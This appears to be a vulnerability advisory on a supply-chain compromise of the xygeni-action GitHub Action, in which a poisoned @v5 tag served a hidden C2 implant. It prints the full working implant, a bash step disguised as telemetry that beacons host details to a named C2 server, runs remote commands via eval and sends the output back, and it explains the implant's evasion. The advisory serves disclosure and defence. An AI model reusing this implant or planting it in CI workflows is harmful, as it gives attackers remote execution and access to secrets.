Mar 11, 2026·6 min read·24 visits
Tag poisoning in xygeni-action @v5 led to a C2 implant executing arbitrary commands on CI runners.
CVE-2026-31976 is a critical supply chain vulnerability in the xygeni-action GitHub Action. An attacker compromised credentials to execute a tag poisoning attack, pointing the mutable @v5 tag to a malicious commit containing a Command and Control (C2) implant. This resulted in arbitrary command execution on CI runners for any workflow using the affected tag between March 3 and March 10, 2026.
CVE-2026-31976 describes a supply chain compromise in the xygeni-action GitHub Action. The vulnerability leverages tag poisoning to redirect the mutable @v5 release tag to a malicious commit. This commit contains an embedded payload that acts as a Command and Control (C2) implant.
The attack affects all continuous integration workflows that referenced the @v5 tag between March 3, 2026, and March 10, 2026. Actions runners fetching this tag execute the embedded script automatically. The execution occurs silently during the standard workflow initialization phase.
The flaw exposes CI environments to unauthenticated remote code execution. Attackers gain the ability to extract secrets, manipulate build artifacts, and pivot into adjacent infrastructure. The incident highlights the inherent risks of referencing mutable Git tags in CI/CD pipelines.
GitHub Actions resolve third-party actions by fetching the Git reference specified in the workflow file. When a mutable tag like @v5 is used, the runner retrieves the specific commit hash currently associated with that tag. This mechanism assumes that tags consistently point to verified, secure releases.
The attacker bypassed branch protection rules by submitting malicious code via Pull Requests (#46, #47, #48). Branch protections prevent direct merges into the main branch, but they do not prevent GitHub from storing the proposed commits in the repository's Git object store. The commits become accessible if explicitly referenced by their hash.
Using compromised GitHub App credentials, the attacker modified the repository metadata. They executed a force-push operation to move the @v5 tag from the legitimate release to the unmerged malicious commit 4bf1d4e19ad81a3e8d4063755ae0f482dd3baf12. This action poisoned the resolution path for all downstream users without modifying the default branch.
The malicious commit introduces an obfuscated payload into the runs section of action.yml. The payload masquerades as a legitimate telemetry reporting step. It executes a Bash script as a background process using the ( ... ) & construct, ensuring it does not block the primary scanner operations.
- name: 'Report Scanner Telemetry'
shell: bash
run: |
# Report scanner version and environment for usage analytics
_xv=$($HOME/.xygeni/xygeni --version 2>/dev/null | head -1 || echo "unknown")
(
_e="https://security-verify.91.214.78.178.nip.io"
_k="X-B: sL5x#9kR!vQ2\$mN7"
_c(){ curl -sfk -m8 -H "$_k" "$@"; }
_r=$(_c -X POST -H "Content-Type: application/json" \
-d "{\"h\":\"$(hostname -f 2>/dev/null||hostname)\",\"u\":\"$(id -un)\",\"o\":\"$(uname -sr) v${_xv}\"}" \
"$_e/b/in") || exit 0
[ -z "$_r" ] && exit 0
_b="${_r%%:*}"
_enc(){ python3 -c "import sys,zlib,base64;sys.stdout.write(base64.b64encode(zlib.compress(sys.stdin.buffer.read())).decode())" 2>/dev/null || base64|tr -d '\n'; }
_t=$(($(date +%s)+180))
while [ "$(date +%s)" -lt "$_t" ]; do
_d=$(_c "$_e/b/q?b=$_b") || break
[ "$_d" != "-" ] && [ -n "$_d" ] && \
_c -X POST -H "Content-Type: application/json" \
-d "{\"b\":\"$_b\",\"r\":\"$(eval \"$_d\" 2>&1|_enc)\"}" "$_e/b/r" >/dev/null 2>&1
sleep $((RANDOM%5+2))
done
) &
echo "::debug::Telemetry reported: $_xv"Upon execution, the script initiates communication with a remote C2 server at security-verify.91.214.78.178.nip.io. It utilizes curl with the -k flag to bypass SSL/TLS verification, accommodating the use of a wildcard DNS service. The script authenticates to the C2 endpoint using a hardcoded custom header X-B: sL5x#9kR!vQ2$mN7.
The payload implements a continuous polling loop lasting 180 seconds to receive and execute arbitrary commands. It retrieves commands from the /b/q endpoint, evaluates them using eval, and compresses the output via zlib. The compressed output is base64-encoded and transmitted back to the C2 server at the /b/r endpoint.
Exploitation occurs automatically when a CI pipeline runs a workflow containing the uses: xygeni/xygeni-action@v5 directive. The GitHub Actions runner fetches the repository state at the poisoned commit. The runner executes the action.yml file, immediately launching the hidden C2 process.
The payload executes with the privileges of the runner process. This access level grants the attacker visibility into environment variables, workspace files, and injected CI/CD secrets. The attacker uses the C2 channel to send specific commands tailored to the compromised environment.
The 180-second execution window aligns with the typical duration of CI jobs. By randomizing the sleep interval between requests, the script avoids generating predictable network patterns. The lack of standard output from the background process prevents the malicious activity from appearing in the workflow logs, save for a deceptive ::debug:: statement.
The primary impact is complete compromise of the affected GitHub Actions runner. Attackers possess the capability to execute arbitrary commands within the CI environment. This execution occurs without requiring any interaction from the repository maintainers or workflow operators.
Compromised runners expose sensitive data injected into the CI process. Attackers can exfiltrate deployment credentials, API keys, and cloud provider access tokens. With these credentials, the attacker can propagate from the CI pipeline into production environments or alter build artifacts to introduce downstream vulnerabilities.
The vulnerability carries a CVSS 4.0 score of 9.3, categorized as Critical. The vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N reflects the network-based attack vector and the lack of authentication requirements. The impact metrics signify severe consequences for confidentiality, integrity, and availability within the targeted systems.
Organizations must immediately update workflow definitions to utilize unaffected versions of the xygeni-action. Maintainers recommend transitioning to the @v6 tag. For strict version control, workflows should pin the action to the verified commit hash 13c6ed2797df7d85749864e2cbcf09c893f43b23.
Security teams must review CI runner logs for executions occurring between March 3 and March 10, 2026. Investigations should focus on identifying egress network connections to the malicious IP address or resolutions to the poisoned commit hash 4bf1d4e19ad81a3e8d4063755ae0f482dd3baf12. Any secrets exposed to workflows during this timeframe must be considered compromised and rotated immediately.
To prevent similar supply chain attacks, organizations should implement OpenID Connect (OIDC) for cloud authentication. OIDC replaces long-lived credentials with ephemeral tokens, reducing the value of exfiltrated secrets. Furthermore, enforcing strict commit SHA pinning for all third-party GitHub Actions eliminates the risk of tag poisoning.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N| Product | Affected Versions | Fixed Version |
|---|---|---|
xygeni-action xygeni | @v5 (March 3 - March 10, 2026) | @v6 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-506 |
| Attack Vector | Network |
| CVSS Score | 9.3 |
| Impact | Remote Code Execution |
| Exploit Status | Active |
| KEV Status | Not Listed |
The application contains code that is not part of the intended functionality and is designed to perform unauthorized or malicious actions.